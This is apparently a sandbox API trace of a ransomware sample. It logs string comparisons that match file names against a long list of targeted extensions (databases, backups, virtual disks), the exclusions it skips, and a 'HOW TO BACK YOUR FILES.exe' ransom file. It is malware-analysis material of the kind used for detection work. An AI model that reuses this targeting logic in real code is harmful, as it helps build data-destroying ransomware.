	[0050.448] lstrlenW (lpString="accde") returned 5
	[0050.448] lstrcmpiW (lpString1="t.sdi", lpString2="accde") returned 1
	[0050.448] lstrlenW (lpString="accdr") returned 5
	[0050.448] lstrcmpiW (lpString1="t.sdi", lpString2="accdr") returned 1
	[0050.448] lstrlenW (lpString="accdt") returned 5
	[0050.448] lstrcmpiW (lpString1="t.sdi", lpString2="accdt") returned 1
	[0050.448] lstrlenW (lpString="accdw") returned 5
	[0050.448] lstrcmpiW (lpString1="t.sdi", lpString2="accdw") returned 1
	[0050.448] lstrlenW (lpString="accft") returned 5
	[0050.448] lstrcmpiW (lpString1="t.sdi", lpString2="accft") returned 1
	[0050.448] lstrlenW (lpString="adb") returned 3
	[0050.448] lstrcmpiW (lpString1="sdi", lpString2="adb") returned 1
	[0050.448] lstrlenW (lpString="adb") returned 3
	[0050.448] lstrcmpiW (lpString1="sdi", lpString2="adb") returned 1
	[0050.448] lstrlenW (lpString="ade") returned 3
	[0050.448] lstrcmpiW (lpString1="sdi", lpString2="ade") returned 1
	[0050.448] lstrlenW (lpString="adf") returned 3
	[0050.448] lstrcmpiW (lpString1="sdi", lpString2="adf") returned 1
	[0050.448] lstrlenW (lpString="adn") returned 3
	[0050.448] lstrcmpiW (lpString1="sdi", lpString2="adn") returned 1
	[0050.448] lstrlenW (lpString="adp") returned 3
	[0050.448] lstrcmpiW (lpString1="sdi", lpString2="adp") returned 1
	[0050.448] lstrlenW (lpString="alf") returned 3
	[0050.448] lstrcmpiW (lpString1="sdi", lpString2="alf") returned 1
	[0050.448] lstrlenW (lpString="ask") returned 3
	[0050.449] lstrcmpiW (lpString1="sdi", lpString2="ask") returned 1
	[0050.449] lstrlenW (lpString="btr") returned 3
	[0050.449] lstrcmpiW (lpString1="sdi", lpString2="btr") returned 1
	[0050.449] lstrlenW (lpString="cat") returned 3
	[0050.449] lstrcmpiW (lpString1="sdi", lpString2="cat") returned 1
	[0050.449] lstrlenW (lpString="cdb") returned 3
	[0050.449] lstrcmpiW (lpString1="sdi", lpString2="cdb") returned 1
	[0050.449] lstrlenW (lpString="ckp") returned 3
	[0050.449] lstrcmpiW (lpString1="sdi", lpString2="ckp") returned 1
	[0050.449] lstrlenW (lpString="cma") returned 3
	[0050.449] lstrcmpiW (lpString1="sdi", lpString2="cma") returned 1
	[0050.449] lstrlenW (lpString="cpd") returned 3
	[0050.449] lstrcmpiW (lpString1="sdi", lpString2="cpd") returned 1
	[0050.449] lstrlenW (lpString="dacpac") returned 6
	[0050.449] lstrcmpiW (lpString1="ot.sdi", lpString2="dacpac") returned 1
	[0050.449] lstrlenW (lpString="dad") returned 3
	[0050.449] lstrcmpiW (lpString1="sdi", lpString2="dad") returned 1
	[0050.449] lstrlenW (lpString="dadiagrams") returned 10
	[0050.449] lstrlenW (lpString="daschema") returned 8
	[0050.449] lstrlenW (lpString="db-journal") returned 10
	[0050.449] lstrlenW (lpString="db-shm") returned 6
	[0050.449] lstrcmpiW (lpString1="ot.sdi", lpString2="db-shm") returned 1
	[0050.449] lstrlenW (lpString="db-wal") returned 6
	[0050.449] lstrcmpiW (lpString1="ot.sdi", lpString2="db-wal") returned 1
	[0050.449] lstrlenW (lpString="dbc") returned 3
	[0050.449] lstrcmpiW (lpString1="sdi", lpString2="dbc") returned 1
	[0050.449] lstrlenW (lpString="dbs") returned 3
	[0050.449] lstrcmpiW (lpString1="sdi", lpString2="dbs") returned 1
	[0050.449] lstrlenW (lpString="dbt") returned 3
	[0050.449] lstrcmpiW (lpString1="sdi", lpString2="dbt") returned 1
	[0050.449] lstrlenW (lpString="dbv") returned 3
	[0050.449] lstrcmpiW (lpString1="sdi", lpString2="dbv") returned 1
	[0050.449] lstrlenW (lpString="dbx") returned 3
	[0050.449] lstrcmpiW (lpString1="sdi", lpString2="dbx") returned 1
	[0050.449] lstrlenW (lpString="dcb") returned 3
	[0050.449] lstrcmpiW (lpString1="sdi", lpString2="dcb") returned 1
	[0050.450] lstrlenW (lpString="dct") returned 3
	[0050.450] lstrcmpiW (lpString1="sdi", lpString2="dct") returned 1
	[0050.450] lstrlenW (lpString="dcx") returned 3
	[0050.450] lstrcmpiW (lpString1="sdi", lpString2="dcx") returned 1
	[0050.450] lstrlenW (lpString="ddl") returned 3
	[0050.450] lstrcmpiW (lpString1="sdi", lpString2="ddl") returned 1
	[0050.450] lstrlenW (lpString="dlis") returned 4
	[0050.450] lstrcmpiW (lpString1=".sdi", lpString2="dlis") returned -1
	[0050.450] lstrlenW (lpString="dp1") returned 3
	[0050.450] lstrcmpiW (lpString1="sdi", lpString2="dp1") returned 1
	[0050.450] lstrlenW (lpString="dqy") returned 3
	[0050.450] lstrcmpiW (lpString1="sdi", lpString2="dqy") returned 1
	[0050.450] lstrlenW (lpString="dsk") returned 3
	[0050.450] lstrcmpiW (lpString1="sdi", lpString2="dsk") returned 1
	[0050.450] lstrlenW (lpString="dsn") returned 3
	[0050.450] lstrcmpiW (lpString1="sdi", lpString2="dsn") returned 1
	[0050.450] lstrlenW (lpString="dtsx") returned 4
	[0050.450] lstrcmpiW (lpString1=".sdi", lpString2="dtsx") returned -1
	[0050.450] lstrlenW (lpString="dxl") returned 3
	[0050.450] lstrcmpiW (lpString1="sdi", lpString2="dxl") returned 1
	[0050.450] lstrlenW (lpString="eco") returned 3
	[0050.450] lstrcmpiW (lpString1="sdi", lpString2="eco") returned 1
	[0050.450] lstrlenW (lpString="ecx") returned 3
	[0050.450] lstrcmpiW (lpString1="sdi", lpString2="ecx") returned 1
	[0050.450] lstrlenW (lpString="edb") returned 3
	[0050.450] lstrcmpiW (lpString1="sdi", lpString2="edb") returned 1
	[0050.450] lstrlenW (lpString="epim") returned 4
	[0050.450] lstrcmpiW (lpString1=".sdi", lpString2="epim") returned -1
	[0050.450] lstrlenW (lpString="fcd") returned 3
	[0050.450] lstrcmpiW (lpString1="sdi", lpString2="fcd") returned 1
	[0050.450] lstrlenW (lpString="fdb") returned 3
	[0050.450] lstrcmpiW (lpString1="sdi", lpString2="fdb") returned 1
	[0050.450] lstrlenW (lpString="fic") returned 3
	[0050.450] lstrcmpiW (lpString1="sdi", lpString2="fic") returned 1
	[0050.450] lstrlenW (lpString="flexolibrary") returned 12
	[0050.450] lstrlenW (lpString="fm5") returned 3
	[0050.451] lstrcmpiW (lpString1="sdi", lpString2="fm5") returned 1
	[0050.451] lstrlenW (lpString="fmp") returned 3
	[0050.451] lstrcmpiW (lpString1="sdi", lpString2="fmp") returned 1
	[0050.451] lstrlenW (lpString="fmp12") returned 5
	[0050.451] lstrcmpiW (lpString1="t.sdi", lpString2="fmp12") returned 1
	[0050.451] lstrlenW (lpString="fmpsl") returned 5
	[0050.451] lstrcmpiW (lpString1="t.sdi", lpString2="fmpsl") returned 1
	[0050.451] lstrlenW (lpString="fol") returned 3
	[0050.451] lstrcmpiW (lpString1="sdi", lpString2="fol") returned 1
	[0050.451] lstrlenW (lpString="fp3") returned 3
	[0050.451] lstrcmpiW (lpString1="sdi", lpString2="fp3") returned 1
	[0050.451] lstrlenW (lpString="fp4") returned 3
	[0050.451] lstrcmpiW (lpString1="sdi", lpString2="fp4") returned 1
	[0050.451] lstrlenW (lpString="fp5") returned 3
	[0050.451] lstrcmpiW (lpString1="sdi", lpString2="fp5") returned 1
	[0050.451] lstrlenW (lpString="fp7") returned 3
	[0050.451] lstrcmpiW (lpString1="sdi", lpString2="fp7") returned 1
	[0050.451] lstrlenW (lpString="fpt") returned 3
	[0050.451] lstrcmpiW (lpString1="sdi", lpString2="fpt") returned 1
	[0050.451] lstrlenW (lpString="frm") returned 3
	[0050.451] lstrcmpiW (lpString1="sdi", lpString2="frm") returned 1
	[0050.451] lstrlenW (lpString="gdb") returned 3
	[0050.451] lstrcmpiW (lpString1="sdi", lpString2="gdb") returned 1
	[0050.452] lstrlenW (lpString="gdb") returned 3
	[0050.452] lstrcmpiW (lpString1="sdi", lpString2="gdb") returned 1
	[0050.452] lstrlenW (lpString="grdb") returned 4
	[0050.452] lstrcmpiW (lpString1=".sdi", lpString2="grdb") returned -1
	[0050.452] lstrlenW (lpString="gwi") returned 3
	[0050.452] lstrcmpiW (lpString1="sdi", lpString2="gwi") returned 1
	[0050.452] lstrlenW (lpString="hdb") returned 3
	[0050.452] lstrcmpiW (lpString1="sdi", lpString2="hdb") returned 1
	[0050.452] lstrlenW (lpString="his") returned 3
	[0050.452] lstrcmpiW (lpString1="sdi", lpString2="his") returned 1
	[0050.452] lstrlenW (lpString="ib") returned 2
	[0050.452] lstrcmpiW (lpString1="di", lpString2="ib") returned -1
	[0050.452] lstrlenW (lpString="idb") returned 3
	[0050.452] lstrcmpiW (lpString1="sdi", lpString2="idb") returned 1
	[0050.452] lstrlenW (lpString="ihx") returned 3
	[0050.452] lstrcmpiW (lpString1="sdi", lpString2="ihx") returned 1
	[0050.452] lstrlenW (lpString="itdb") returned 4
	[0050.452] lstrcmpiW (lpString1=".sdi", lpString2="itdb") returned -1
	[0050.452] lstrlenW (lpString="itw") returned 3
	[0050.452] lstrcmpiW (lpString1="sdi", lpString2="itw") returned 1
	[0050.452] lstrlenW (lpString="jet") returned 3
	[0050.452] lstrcmpiW (lpString1="sdi", lpString2="jet") returned 1
	[0050.452] lstrlenW (lpString="jtx") returned 3
	[0050.452] lstrcmpiW (lpString1="sdi", lpString2="jtx") returned 1
	[0050.452] lstrlenW (lpString="kdb") returned 3
	[0050.452] lstrcmpiW (lpString1="sdi", lpString2="kdb") returned 1
	[0050.452] lstrlenW (lpString="kexi") returned 4
	[0050.452] lstrcmpiW (lpString1=".sdi", lpString2="kexi") returned -1
	[0050.452] lstrlenW (lpString="kexic") returned 5
	[0050.452] lstrcmpiW (lpString1="t.sdi", lpString2="kexic") returned 1
	[0050.452] lstrlenW (lpString="kexis") returned 5
	[0050.452] lstrcmpiW (lpString1="t.sdi", lpString2="kexis") returned 1
	[0050.452] lstrlenW (lpString="lgc") returned 3
	[0050.452] lstrcmpiW (lpString1="sdi", lpString2="lgc") returned 1
	[0050.452] lstrlenW (lpString="lwx") returned 3
	[0050.452] lstrcmpiW (lpString1="sdi", lpString2="lwx") returned 1
	[0050.453] lstrlenW (lpString="maf") returned 3
	[0050.453] lstrcmpiW (lpString1="sdi", lpString2="maf") returned 1
	[0050.453] lstrlenW (lpString="maq") returned 3
	[0050.453] lstrcmpiW (lpString1="sdi", lpString2="maq") returned 1
	[0050.453] lstrlenW (lpString="mar") returned 3
	[0050.453] lstrcmpiW (lpString1="sdi", lpString2="mar") returned 1
	[0050.453] lstrlenW (lpString="marshal") returned 7
	[0050.453] lstrcmpiW (lpString1="oot.sdi", lpString2="marshal") returned 1
	[0050.453] lstrlenW (lpString="mas") returned 3
	[0050.453] lstrcmpiW (lpString1="sdi", lpString2="mas") returned 1
	[0050.453] lstrlenW (lpString="mav") returned 3
	[0050.453] lstrcmpiW (lpString1="sdi", lpString2="mav") returned 1
	[0050.453] lstrlenW (lpString="maw") returned 3
	[0050.453] lstrcmpiW (lpString1="sdi", lpString2="maw") returned 1
	[0050.453] lstrlenW (lpString="mdbhtml") returned 7
	[0050.453] lstrcmpiW (lpString1="oot.sdi", lpString2="mdbhtml") returned 1
	[0050.453] lstrlenW (lpString="mdn") returned 3
	[0050.453] lstrcmpiW (lpString1="sdi", lpString2="mdn") returned 1
	[0050.453] lstrlenW (lpString="mdt") returned 3
	[0050.453] lstrcmpiW (lpString1="sdi", lpString2="mdt") returned 1
	[0050.453] lstrlenW (lpString="mfd") returned 3
	[0050.453] lstrcmpiW (lpString1="sdi", lpString2="mfd") returned 1
	[0050.453] lstrlenW (lpString="mpd") returned 3
	[0050.453] lstrcmpiW (lpString1="sdi", lpString2="mpd") returned 1
	[0050.453] lstrlenW (lpString="mrg") returned 3
	[0050.453] lstrcmpiW (lpString1="sdi", lpString2="mrg") returned 1
	[0050.453] lstrlenW (lpString="mud") returned 3
	[0050.453] lstrcmpiW (lpString1="sdi", lpString2="mud") returned 1
	[0050.453] lstrlenW (lpString="mwb") returned 3
	[0050.453] lstrcmpiW (lpString1="sdi", lpString2="mwb") returned 1
	[0050.453] lstrlenW (lpString="myd") returned 3
	[0050.453] lstrcmpiW (lpString1="sdi", lpString2="myd") returned 1
	[0050.453] lstrlenW (lpString="ndf") returned 3
	[0050.453] lstrcmpiW (lpString1="sdi", lpString2="ndf") returned 1
	[0050.453] lstrlenW (lpString="nnt") returned 3
	[0050.454] lstrcmpiW (lpString1="sdi", lpString2="nnt") returned 1
	[0050.454] lstrlenW (lpString="nrmlib") returned 6
	[0050.454] lstrcmpiW (lpString1="ot.sdi", lpString2="nrmlib") returned 1
	[0050.454] lstrlenW (lpString="ns2") returned 3
	[0050.454] lstrcmpiW (lpString1="sdi", lpString2="ns2") returned 1
	[0050.454] lstrlenW (lpString="ns3") returned 3
	[0050.454] lstrcmpiW (lpString1="sdi", lpString2="ns3") returned 1
	[0050.454] lstrlenW (lpString="ns4") returned 3
	[0050.454] lstrcmpiW (lpString1="sdi", lpString2="ns4") returned 1
	[0050.454] lstrlenW (lpString="nsf") returned 3
	[0050.454] lstrcmpiW (lpString1="sdi", lpString2="nsf") returned 1
	[0050.454] lstrlenW (lpString="nv") returned 2
	[0050.454] lstrcmpiW (lpString1="di", lpString2="nv") returned -1
	[0050.454] lstrlenW (lpString="nv2") returned 3
	[0050.454] lstrcmpiW (lpString1="sdi", lpString2="nv2") returned 1
	[0050.454] lstrlenW (lpString="nwdb") returned 4
	[0050.454] lstrcmpiW (lpString1=".sdi", lpString2="nwdb") returned -1
	[0050.454] lstrlenW (lpString="nyf") returned 3
	[0050.454] lstrcmpiW (lpString1="sdi", lpString2="nyf") returned 1
	[0050.454] lstrlenW (lpString="odb") returned 3
	[0050.454] lstrcmpiW (lpString1="sdi", lpString2="odb") returned 1
	[0050.454] lstrlenW (lpString="odb") returned 3
	[0050.454] lstrcmpiW (lpString1="sdi", lpString2="odb") returned 1
	[0050.454] lstrlenW (lpString="oqy") returned 3
	[0050.454] lstrcmpiW (lpString1="sdi", lpString2="oqy") returned 1
	[0050.454] lstrlenW (lpString="ora") returned 3
	[0050.454] lstrcmpiW (lpString1="sdi", lpString2="ora") returned 1
	[0050.454] lstrlenW (lpString="orx") returned 3
	[0050.454] lstrcmpiW (lpString1="sdi", lpString2="orx") returned 1
	[0050.454] lstrlenW (lpString="owc") returned 3
	[0050.454] lstrcmpiW (lpString1="sdi", lpString2="owc") returned 1
	[0050.454] lstrlenW (lpString="p96") returned 3
	[0050.454] lstrcmpiW (lpString1="sdi", lpString2="p96") returned 1
	[0050.454] lstrlenW (lpString="p97") returned 3
	[0050.454] lstrcmpiW (lpString1="sdi", lpString2="p97") returned 1
	[0050.455] lstrlenW (lpString="pan") returned 3
	[0050.455] lstrcmpiW (lpString1="sdi", lpString2="pan") returned 1
	[0050.455] lstrlenW (lpString="pdb") returned 3
	[0050.455] lstrcmpiW (lpString1="sdi", lpString2="pdb") returned 1
	[0050.455] lstrlenW (lpString="pdm") returned 3
	[0050.455] lstrcmpiW (lpString1="sdi", lpString2="pdm") returned 1
	[0050.455] lstrlenW (lpString="pnz") returned 3
	[0050.455] lstrcmpiW (lpString1="sdi", lpString2="pnz") returned 1
	[0050.455] lstrlenW (lpString="qry") returned 3
	[0050.455] lstrcmpiW (lpString1="sdi", lpString2="qry") returned 1
	[0050.455] lstrlenW (lpString="qvd") returned 3
	[0050.455] lstrcmpiW (lpString1="sdi", lpString2="qvd") returned 1
	[0050.455] lstrlenW (lpString="rbf") returned 3
	[0050.455] lstrcmpiW (lpString1="sdi", lpString2="rbf") returned 1
	[0050.455] lstrlenW (lpString="rctd") returned 4
	[0050.455] lstrcmpiW (lpString1=".sdi", lpString2="rctd") returned -1
	[0050.455] lstrlenW (lpString="rod") returned 3
	[0050.455] lstrcmpiW (lpString1="sdi", lpString2="rod") returned 1
	[0050.455] lstrlenW (lpString="rodx") returned 4
	[0050.455] lstrcmpiW (lpString1=".sdi", lpString2="rodx") returned -1
	[0050.455] lstrlenW (lpString="rpd") returned 3
	[0050.455] lstrcmpiW (lpString1="sdi", lpString2="rpd") returned 1
	[0050.455] lstrlenW (lpString="rsd") returned 3
	[0050.455] lstrcmpiW (lpString1="sdi", lpString2="rsd") returned 1
	[0050.455] lstrlenW (lpString="sas7bdat") returned 8
	[0050.455] lstrlenW (lpString="sbf") returned 3
	[0050.455] lstrcmpiW (lpString1="sdi", lpString2="sbf") returned 1
	[0050.455] lstrlenW (lpString="scx") returned 3
	[0050.455] lstrcmpiW (lpString1="sdi", lpString2="scx") returned 1
	[0050.455] lstrlenW (lpString="sdb") returned 3
	[0050.455] lstrcmpiW (lpString1="sdi", lpString2="sdb") returned 1
	[0050.455] lstrlenW (lpString="sdc") returned 3
	[0050.455] lstrcmpiW (lpString1="sdi", lpString2="sdc") returned 1
	[0050.455] lstrlenW (lpString="sdf") returned 3
	[0050.455] lstrcmpiW (lpString1="sdi", lpString2="sdf") returned 1
	[0050.455] lstrlenW (lpString="sis") returned 3
	[0050.456] lstrcmpiW (lpString1="sdi", lpString2="sis") returned -1
	[0050.456] lstrlenW (lpString="spq") returned 3
	[0050.456] lstrcmpiW (lpString1="sdi", lpString2="spq") returned -1
	[0050.456] lstrlenW (lpString="te") returned 2
	[0050.456] lstrcmpiW (lpString1="di", lpString2="te") returned -1
	[0050.456] lstrlenW (lpString="teacher") returned 7
	[0050.456] lstrcmpiW (lpString1="oot.sdi", lpString2="teacher") returned -1
	[0050.456] lstrlenW (lpString="tmd") returned 3
	[0050.456] lstrcmpiW (lpString1="sdi", lpString2="tmd") returned -1
	[0050.456] lstrlenW (lpString="tps") returned 3
	[0050.456] lstrcmpiW (lpString1="sdi", lpString2="tps") returned -1
	[0050.456] lstrlenW (lpString="trc") returned 3
	[0050.456] lstrcmpiW (lpString1="sdi", lpString2="trc") returned -1
	[0050.456] lstrlenW (lpString="trc") returned 3
	[0050.456] lstrcmpiW (lpString1="sdi", lpString2="trc") returned -1
	[0050.456] lstrlenW (lpString="trm") returned 3
	[0050.456] lstrcmpiW (lpString1="sdi", lpString2="trm") returned -1
	[0050.456] lstrlenW (lpString="udb") returned 3
	[0050.456] lstrcmpiW (lpString1="sdi", lpString2="udb") returned -1
	[0050.456] lstrlenW (lpString="udl") returned 3
	[0050.456] lstrcmpiW (lpString1="sdi", lpString2="udl") returned -1
	[0050.456] lstrlenW (lpString="usr") returned 3
	[0050.456] lstrcmpiW (lpString1="sdi", lpString2="usr") returned -1
	[0050.456] lstrlenW (lpString="v12") returned 3
	[0050.456] lstrcmpiW (lpString1="sdi", lpString2="v12") returned -1
	[0050.456] lstrlenW (lpString="vis") returned 3
	[0050.456] lstrcmpiW (lpString1="sdi", lpString2="vis") returned -1
	[0050.456] lstrlenW (lpString="vpd") returned 3
	[0050.456] lstrcmpiW (lpString1="sdi", lpString2="vpd") returned -1
	[0050.456] lstrlenW (lpString="vvv") returned 3
	[0050.456] lstrcmpiW (lpString1="sdi", lpString2="vvv") returned -1
	[0050.456] lstrlenW (lpString="wdb") returned 3
	[0050.456] lstrcmpiW (lpString1="sdi", lpString2="wdb") returned -1
	[0050.457] lstrlenW (lpString="wmdb") returned 4
	[0050.457] lstrcmpiW (lpString1=".sdi", lpString2="wmdb") returned -1
	[0050.457] lstrlenW (lpString="wrk") returned 3
	[0050.457] lstrcmpiW (lpString1="sdi", lpString2="wrk") returned -1
	[0050.457] lstrlenW (lpString="xdb") returned 3
	[0050.457] lstrcmpiW (lpString1="sdi", lpString2="xdb") returned -1
	[0050.457] lstrlenW (lpString="xld") returned 3
	[0050.457] lstrcmpiW (lpString1="sdi", lpString2="xld") returned -1
	[0050.457] lstrlenW (lpString="xmlff") returned 5
	[0050.457] lstrcmpiW (lpString1="t.sdi", lpString2="xmlff") returned -1
	[0050.457] FindNextFileW (in: hFindFile=0x5ca410, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3623b150, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3623b150, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0050.457] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0050.457] FindNextFileW (in: hFindFile=0x5ca410, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x6496a3c6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x64b0e1b9, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfa6eb761, ftLastWriteTime.dwHighDateTime=0x1cb88d1, nFileSizeHigh=0x0, nFileSizeLow=0xa160012, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Winre.wim", cAlternateFileName="")) returned 1
	[0050.457] lstrcmpiW (lpString1="Winre.wim", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0050.457] lstrcmpiW (lpString1="Winre.wim", lpString2="Apollon865.txt.exe") returned 1
	[0050.457] lstrcmpiW (lpString1="Winre.wim", lpString2=".") returned 1
	[0050.457] lstrcmpiW (lpString1="Winre.wim", lpString2="..") returned 1
	[0050.457] lstrcmpiW (lpString1="Winre.wim", lpString2="windows") returned 1
	[0050.457] lstrcmpiW (lpString1="Winre.wim", lpString2="bootmgr") returned 1
	[0050.457] lstrcmpiW (lpString1="Winre.wim", lpString2="temp") returned 1
	[0050.457] lstrcmpiW (lpString1="Winre.wim", lpString2="pagefile.sys") returned 1
	[0050.457] lstrcmpiW (lpString1="Winre.wim", lpString2="boot") returned 1
	[0050.457] lstrcmpiW (lpString1="Winre.wim", lpString2="ids.txt") returned 1
	[0050.457] lstrcmpiW (lpString1="Winre.wim", lpString2="ntuser.dat") returned 1
	[0050.457] lstrcmpiW (lpString1="Winre.wim", lpString2="perflogs") returned 1
	[0050.457] lstrcmpiW (lpString1="Winre.wim", lpString2="MSBuild") returned 1
	[0050.457] lstrlenW (lpString="Winre.wim") returned 9
	[0050.457] lstrlenW (lpString="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi") returned 57
	[0050.457] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="Winre.wim" | out: lpString1="Winre.wim") returned="Winre.wim"
	[0050.457] lstrlenW (lpString="Winre.wim") returned 9
	[0050.457] lstrlenW (lpString="Apollon865") returned 10
	[0050.457] lstrlenW (lpString=".dll") returned 4
	[0050.457] lstrcmpiW (lpString1="Winre.wim", lpString2=".dll") returned 1
	[0050.457] lstrlenW (lpString=".lnk") returned 4
	[0050.458] lstrcmpiW (lpString1="Winre.wim", lpString2=".lnk") returned 1
	[0050.458] lstrlenW (lpString=".ini") returned 4
	[0050.458] lstrcmpiW (lpString1="Winre.wim", lpString2=".ini") returned 1
	[0050.458] lstrlenW (lpString=".sys") returned 4
	[0050.458] lstrcmpiW (lpString1="Winre.wim", lpString2=".sys") returned 1
	[0050.458] lstrlenW (lpString="Winre.wim") returned 9
	[0050.458] lstrlenW (lpString="bak") returned 3
	[0050.458] lstrcmpiW (lpString1="wim", lpString2="bak") returned 1
	[0050.458] lstrlenW (lpString="ba_") returned 3
	[0050.458] lstrcmpiW (lpString1="wim", lpString2="ba_") returned 1
	[0050.458] lstrlenW (lpString="dbb") returned 3
	[0050.458] lstrcmpiW (lpString1="wim", lpString2="dbb") returned 1
	[0050.458] lstrlenW (lpString="vmdk") returned 4
	[0050.458] lstrcmpiW (lpString1=".wim", lpString2="vmdk") returned -1
	[0050.458] lstrlenW (lpString="rar") returned 3
	[0050.458] lstrcmpiW (lpString1="wim", lpString2="rar") returned 1
	[0050.458] lstrlenW (lpString="zip") returned 3
	[0050.458] lstrcmpiW (lpString1="wim", lpString2="zip") returned -1
	[0050.458] lstrlenW (lpString="tgz") returned 3
	[0050.458] lstrcmpiW (lpString1="wim", lpString2="tgz") returned 1
	[0050.458] lstrlenW (lpString="vbox") returned 4
	[0050.458] lstrcmpiW (lpString1=".wim", lpString2="vbox") returned -1
	[0050.458] lstrlenW (lpString="vdi") returned 3
	[0050.458] lstrcmpiW (lpString1="wim", lpString2="vdi") returned 1
	[0050.458] lstrlenW (lpString="vhd") returned 3
	[0050.458] lstrcmpiW (lpString1="wim", lpString2="vhd") returned 1
	[0050.458] lstrlenW (lpString="vhdx") returned 4
	[0050.458] lstrcmpiW (lpString1=".wim", lpString2="vhdx") returned -1
	[0050.458] lstrlenW (lpString="avhd") returned 4
	[0050.458] lstrcmpiW (lpString1=".wim", lpString2="avhd") returned -1
	[0050.458] lstrlenW (lpString="db") returned 2
	[0050.458] lstrcmpiW (lpString1="im", lpString2="db") returned 1
	[0050.458] lstrlenW (lpString="db2") returned 3
	[0050.458] lstrcmpiW (lpString1="wim", lpString2="db2") returned 1
	[0050.458] lstrlenW (lpString="db3") returned 3
	[0050.459] lstrcmpiW (lpString1="wim", lpString2="db3") returned 1
	[0050.459] lstrlenW (lpString="dbf") returned 3
	[0050.459] lstrcmpiW (lpString1="wim", lpString2="dbf") returned 1
	[0050.459] lstrlenW (lpString="mdf") returned 3
	[0050.459] lstrcmpiW (lpString1="wim", lpString2="mdf") returned 1
	[0050.459] lstrlenW (lpString="mdb") returned 3
	[0050.459] lstrcmpiW (lpString1="wim", lpString2="mdb") returned 1
	[0050.459] lstrlenW (lpString="sql") returned 3
	[0050.459] lstrcmpiW (lpString1="wim", lpString2="sql") returned 1
	[0050.459] lstrlenW (lpString="sqlite") returned 6
	[0050.459] lstrcmpiW (lpString1="re.wim", lpString2="sqlite") returned -1
	[0050.459] lstrlenW (lpString="sqlite3") returned 7
	[0050.459] lstrcmpiW (lpString1="nre.wim", lpString2="sqlite3") returned -1
	[0050.459] lstrlenW (lpString="sqlitedb") returned 8
	[0050.459] lstrcmpiW (lpString1="inre.wim", lpString2="sqlitedb") returned -1
	[0050.459] lstrlenW (lpString="xml") returned 3
	[0050.459] lstrcmpiW (lpString1="wim", lpString2="xml") returned -1
	[0050.459] lstrlenW (lpString="$er") returned 3
	[0050.459] lstrcmpiW (lpString1="wim", lpString2="$er") returned 1
	[0050.459] lstrlenW (lpString="4dd") returned 3
	[0050.459] lstrcmpiW (lpString1="wim", lpString2="4dd") returned 1
	[0050.459] lstrlenW (lpString="4dl") returned 3
	[0050.459] lstrcmpiW (lpString1="wim", lpString2="4dl") returned 1
	[0050.459] lstrlenW (lpString="^^^") returned 3
	[0050.459] lstrcmpiW (lpString1="wim", lpString2="^^^") returned 1
	[0050.459] lstrlenW (lpString="abs") returned 3
	[0050.459] lstrcmpiW (lpString1="wim", lpString2="abs") returned 1
	[0050.459] lstrlenW (lpString="abx") returned 3
	[0050.459] lstrcmpiW (lpString1="wim", lpString2="abx") returned 1
	[0050.459] lstrlenW (lpString="accdb") returned 5
	[0050.459] lstrcmpiW (lpString1="e.wim", lpString2="accdb") returned 1
	[0050.459] lstrlenW (lpString="accdc") returned 5
	[0050.459] lstrcmpiW (lpString1="e.wim", lpString2="accdc") returned 1
	[0050.459] lstrlenW (lpString="accde") returned 5
	[0050.459] lstrcmpiW (lpString1="e.wim", lpString2="accde") returned 1
	[0050.459] lstrlenW (lpString="accdr") returned 5
	[0050.460] lstrcmpiW (lpString1="e.wim", lpString2="accdr") returned 1
	[0050.460] lstrlenW (lpString="accdt") returned 5
	[0050.460] lstrcmpiW (lpString1="e.wim", lpString2="accdt") returned 1
	[0050.460] lstrlenW (lpString="accdw") returned 5
	[0050.460] lstrcmpiW (lpString1="e.wim", lpString2="accdw") returned 1
	[0050.460] lstrlenW (lpString="accft") returned 5
	[0050.460] lstrcmpiW (lpString1="e.wim", lpString2="accft") returned 1
	[0050.460] lstrlenW (lpString="adb") returned 3
	[0050.460] lstrcmpiW (lpString1="wim", lpString2="adb") returned 1
	[0050.460] lstrlenW (lpString="adb") returned 3
	[0050.460] lstrcmpiW (lpString1="wim", lpString2="adb") returned 1
	[0050.460] lstrlenW (lpString="ade") returned 3
	[0050.460] lstrcmpiW (lpString1="wim", lpString2="ade") returned 1
	[0050.460] lstrlenW (lpString="adf") returned 3
	[0050.460] lstrcmpiW (lpString1="wim", lpString2="adf") returned 1
	[0050.460] lstrlenW (lpString="adn") returned 3
	[0050.460] lstrcmpiW (lpString1="wim", lpString2="adn") returned 1
	[0050.460] lstrlenW (lpString="adp") returned 3
	[0050.460] lstrcmpiW (lpString1="wim", lpString2="adp") returned 1
	[0050.460] lstrlenW (lpString="alf") returned 3
	[0050.460] lstrcmpiW (lpString1="wim", lpString2="alf") returned 1
	[0050.460] lstrlenW (lpString="ask") returned 3
	[0050.460] lstrcmpiW (lpString1="wim", lpString2="ask") returned 1
	[0050.460] lstrlenW (lpString="btr") returned 3
	[0050.460] lstrcmpiW (lpString1="wim", lpString2="btr") returned 1
	[0050.460] lstrlenW (lpString="cat") returned 3
	[0050.460] lstrcmpiW (lpString1="wim", lpString2="cat") returned 1
	[0050.460] lstrlenW (lpString="cdb") returned 3
	[0050.460] lstrcmpiW (lpString1="wim", lpString2="cdb") returned 1
	[0050.460] lstrlenW (lpString="ckp") returned 3
	[0050.460] lstrcmpiW (lpString1="wim", lpString2="ckp") returned 1
	[0050.460] lstrlenW (lpString="cma") returned 3
